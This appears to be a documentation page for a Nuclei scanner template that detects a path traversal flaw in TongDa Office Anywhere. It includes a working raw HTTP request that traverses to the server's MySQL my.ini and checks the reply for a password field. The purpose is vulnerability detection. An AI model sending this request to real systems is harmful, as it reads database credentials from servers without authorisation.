Skip to content

Office Anywhere TongDa - Path Traversal

ID: tongda-path-traversal

Severity: critical

Author: pikpikcu

Tags: tongda,lfi

Office Anywhere (OA) is susceptible to path traversal vulnerabilities which can be leveraged to perform remote code execution.

id: tongda-path-traversal
info:
name: Office Anywhere TongDa - Path Traversal
author: pikpikcu
severity: critical
description: |
Office Anywhere (OA) is susceptible to path traversal vulnerabilities which can be leveraged to perform remote code execution.
reference:
- https://github.com/jas502n/OA-tongda-RCE
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 10
cwe-id: CWE-77
metadata:
max-request: 1
tags: tongda,lfi
http:
- raw:
- |
POST /ispirit/interface/gateway.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
json={"url":"/general/../../mysql5/my.ini"}
matchers-condition: and
matchers:
- type: word
part: body
words:
- "[mysql]"
- "password="
condition: and
- type: word
part: header
words:
- "text/html"
- type: status
status:
- 200
# digest: 490a00463044022069db3d1b6e6cb5f8a5ca0e7f745e133f4d5ddfaeb365d295839bb7c01adf8d43022049e193b6f6be0f7d39c3ca0420fa455813f16897e6505e80e27dbb9a4005f597:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/vulnerabilities/tongda/tongda-path-traversal.yaml"

View on Github